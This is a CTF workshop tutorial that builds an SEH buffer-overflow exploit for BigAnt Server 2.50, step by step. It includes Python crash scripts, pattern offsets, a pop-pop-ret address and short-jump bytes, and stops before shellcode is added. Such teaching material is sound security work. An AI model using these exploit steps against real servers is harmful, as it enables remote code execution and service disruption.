BigAnt Server v2.50 GET Request Remote Buffer Overflow

BigAnt Server v2.50 GET Request Remote Buffer Overflow

Overview on crafting the exploit for a buffer overflow affecting BigAnt Server v2.50

For an coming up CTF event, I was helping out in preparing two teams from the University Degree I had just graduated from by running several tutorial workshops sessions. In one of these workshop sessions, I covered exploit writing and buffer overflows. At the end of the session I asked the teams to choose one of two vulnerable applications to identify and write a working exploit for. One of these applications was the BigAnt 2.50 Instant Messaging Server, this blog-post will contain the exploit I wrote and the procedure and steps I took to produce the exploit.

The vulnerable application can be downloaded from the following link:

http://windows.softwareweb.com/download/bigant-office-instant-messaging-server-2.50-EL3OM.html

All the information I gave the students was the name of the vulnerability (which is the title of this post), the vulnerable application it self and the CVE number (CVE-2008-1914) for the vulnerability. When we look at the CVE report for this vulnerability the description is the following.

Stack-based buffer overflow in the AntServer module (AntServer.exe) in BigAnt IM Server in BigAnt Messenger 2.2 allows remote attackers to execute arbitrary code via a long URI in a request to TCP port 6080. NOTE: some of these details are obtained from third party information.
 
Sourced: <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1914" target="_blank">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1914</a>

So with the description of the vulnerability and the name of the vulnerability, we know that there is a buffer overflow vulnerability in the application when we send a long GET request to the server.

So I installed the application on my testing virtual machine which is a Windows XP Professional SP2 machine.

NOTE: The port number that the server instance I used during my exploit development is 6660 instead of 6080 as per the description.

To begin with I want to verify that there is a vulnerability in this application, so I wrote a basic HTTP client python script which I will use for the base of my exploit.

#!/usr/bin/python
import socket
 
buffer = "\x41"*2000
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.3.222', 6660))
 
s.send("GET /" + buffer + " HTTP/1.1" + "\r\n\r\n")
s.close()

Before executing the script I attached the IM service to a debugger (Immunity Debugger) so if a crash did occur, I would be able to see the crash occur in a debugging program. I then executed the script and the application crashed, though from the debugger I could see the EIP register was not overwritten. I then looked at the SEH chain and saw that this was a SEH buffer overflow vulnerability.

The initial crash of the application.

The viewing of the SEH chains at the time of the initial crash of the application.

In the next phase of my exploit development for this vulnerability I know from prior work involving SEH buffer overflows I need to be able to overwrite the pre-existing SEH addresses with new SEH addresses to be able to continue pass the crash and get code execution. To do this I need to be able to identify where in the 2000 byte buffer I sent the application overwrote the SEH addresses and caused the crash. Which means I need to use the pattern_create.rb and pattern_offset.rb tools from the Metasploit-Framework. For those reading that don’t know what these tools are, pattern_create.rb is a tool that enables an user to generate a unique sequence of characters in a string. This is useful because if we have a unique string which no sequence of characters are repeated twice and replace the original buffer with this new string and re-perform the crash. We can take the values which are stored in registers at the time of the crash and then use the second tool, pattern_offset.rb to locate where in the string those values are. Which allows us to work out the offset for placement for Return Address (RET) and/or shellcode.

/usr/share/metasploit-framework/tools/pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
#!/usr/bin/python
import socket
 
# buffer = "\x41"*2000
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.3.222', 6660))
 
s.send("GET /" + buffer + " HTTP/1.1" + "\r\n\r\n")
s.close()

As you can see above, I commented out the original buffer and replaced the buffer with the unique string generated from pattern_create.rb

Overwriting the SEH chains.

As we can see from the screenshot of the crash, the two SEH addresses have now been overwritten with the values of “30684239” and “67423867”. Now using pattern_offset.rb I was able to find the positioning in the unique string.

/usr/share/metasploit-framework/tools/pattern_offset.rb 30684239
[*] Exact match at offset 989
/usr/share/metasploit-framework/tools/pattern_offset.rb 67423867
[*] Exact match at offset 985

Before continuing any further, we should take the opportunity to understand how exception handlers (EH) work to understand how to progress through the rest of this exploit development. I found the writings of Corelan have done on SEH based exploits to be wonderful reference material.

https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

The structure of a SEH record is 8 bytes which is split into 2 equal 4 byte elements. The first 4 bytes points to the next SEH record and the second 4 bytes is the pointer for the current EH. Which means when we looked at the SEH chain window in the debugger, the very top memory address in the window was the pointer to the next SEH and the second memory address was the pointer to the current exception handler.

The next question is how can use the SEH to jump to our shellcode and have it executed, again the corelan group are able to explain the current methodology on how to do so. But in short the methodology is.

Source: https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
 
In other words, the payload must do the following things
 
1. cause an exception. Without an exception, the SEH handler (the one you have overwritten/control) won’t kick in
2. overwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode)
3. overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode.
4. The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten “pointer to next SEH record” will jump to it).

So we need to overwrite the current SEH with an instruction which will take the execution back to the next SEH, we overwrite the next SEH with a short jump instruction which will jump over the SEH into the shellcode. The reason why we use a short jump is otherwise the program would get stuck in a loop. The instruction we use to overwrite the SEH is a pop pop ret instruction which will place the next SEH into the EIP register, and since this register points to the next instruction which will be executed and if we place the short jump instruction we will be able to jump over the SEH into the shellcode.

So how do we find the pop pop ret instruction? We can use the mona.py plugin from corelan (http://redmine.corelan.be/projects/mona) to give Immunity Debugger the ability to search the memory for all valid pointers we can use. With the mona plugin installed, we use the command “!mona seh” in the command bar at the bottom of the Immunity Debugger window to search for the valid pointers.

Normally, when you are writing an exploit you would want to use a memory address related to the application itself when possible. However in this case, all the memory addresses for valid pointers relating to the application, have a null byte (“\x00”) which would cause errors in the exploit execution. I know this because the output from mona contained the following line.

----------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 
0x00400000 | 0x0051a000 | 0x0011a000 | False | False | False | False | False | 1.0.0.1 [AntServer.exe] (C:\Program Files\BigAntSoft\AntServer\AntServer.exe)

That output informs us that the top of the stack for the application is “0x0051a000” and the bottom is “0x00400000” which means in all cases there would be a null byte. This allows us to focus on system related pointers to use in the exploit. We need to find a valid pointer relating to a system .dll which has false in all the categories except for the OS DLL column. I decided to use a pointer from the msjet40.dll.

----------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 
0x1b000000 | 0x1b170000 | 0x00170000 | False  | False   | False |  False   | True   | 4.00.8618.0 [msjet40.dll] (C:\WINDOWS\system32\msjet40.dll)

This .dll had many valid pointers which I could’ve used but I decided to use the one below.

0x1b11037d : pop esi # pop edi # ret  | ascii {PAGE_EXECUTE_READ} [msjet40.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.00.8618.0 (C:\WINDOWS\system32\msjet40.dll)

Before including this instruction and my short jump instruction into my exploit code, I want to test to verify whether or not I successfully overwrite the SEH and the next SEH addresses correctly.

#!/usr/bin/python
import socket
 
# buffer = "\x41"*2000
# buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
 
## The values that overwrite the SEH addresses
# /usr/share/metasploit-framework/tools/pattern_offset.rb 30684239
# [*] Exact match at offset 989
# /usr/share/metasploit-framework/tools/pattern_offset.rb 67423867
# [*] Exact match at offset 985
 
buffer = "\x41"*984
buffer += "\x42"*4 # nseh
buffer += "\x43"*4 # seh
buffer += "\x44"*(2000-len(buffer))
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.3.222', 6660))
 
s.send("GET /" + buffer + " HTTP/1.1" + "\r\n\r\n")
s.close()

Overwriting the SEH chain again, with specific values to verify control.

As we can, we can successfully overwrite the two addresses cleanly. Now it’s time to add in the memory address for the pop pop ret instruction as well as the short jump instruction code. From the link below, we can see if we want to perform a short jump forward (which we do, as we want to jump from the next SEH over the SEH into our shellcode), we use the “\xeb” followed by the number of bytes for distance in hexadecimal.

http://thestarman.pcministry.com/asm/2bytejumps.htm

Example: “\xeb\x04” would perform a short jump of 4 bytes from the currently location.

Now this is pretty close to what we want to use, but remember a memory address is contains 4 bytes, so the short jump instruction we would actually use would be “\xeb\x06\x90\x90”. This would perform a short jump of 6 bytes (the 2 remaining bytes in the next SEH and the 4 bytes of the SEH).

Note: We use NOPs (“\x90”) to pad out the memory address the 2 bytes we need.

#!/usr/bin/python
import socket
 
# buffer = "\x41"*2000
# buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
 
## The values that overwrite the SEH addresses
# /usr/share/metasploit-framework/tools/pattern_offset.rb 30684239
# [*] Exact match at offset 989
# /usr/share/metasploit-framework/tools/pattern_offset.rb 67423867
# [*] Exact match at offset 985
 
nseh = "\xeb\x06\x90\x90" # short jump of 6 bytes
seh = "\x7d\x03\x11\x1b" # 0x1b11037d, msjet40.dll, Windows XP Pro SP2
 
buffer = "\x41"*985
buffer += nseh
buffer += seh
buffer += "\xcc"*(2000-len(buffer))
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.3.222', 6660))
 
s.send("GET /" + buffer + " HTTP/1.1" + "\r\n\r\n")
s.close()

Verifying the pop pop ret instruction and the short jump instruction was able to get pass the crash point.

We have now successfully gotten around the SEH and have landed in the breakpoints (“\xcc”). What is left to do is replace the (“\xcc”) with a NOP sled and the shellcode we want to be executed. To get the shellcode, I will use the msfpayload and msfencode from the Metasploit-Framework to generate and encode the shellcode before adding it to the final exploit. Before generating my shellcode, I calculated that the amount of space I have shellcode is 723 bytes in space.

NOTE: This was done by taking the memory address of the first 4 bytes are the next seh and seh which for me is “0x013CFD2c” and then going to the very end of stack which again for is “0x13cfffc”. Then I just did 0x13cfffc – 0x013CFD2c = 2d3 (723)

When generating our shellcode, we know it can’t be larger then 723 bytes in size if we are to use it in this exploit. Alternatively, we could place an egghunter after the SEH chain overwrite which will look for the our primary shellcode, and place the primary shellcode in the first 985 bytes of the buffer.

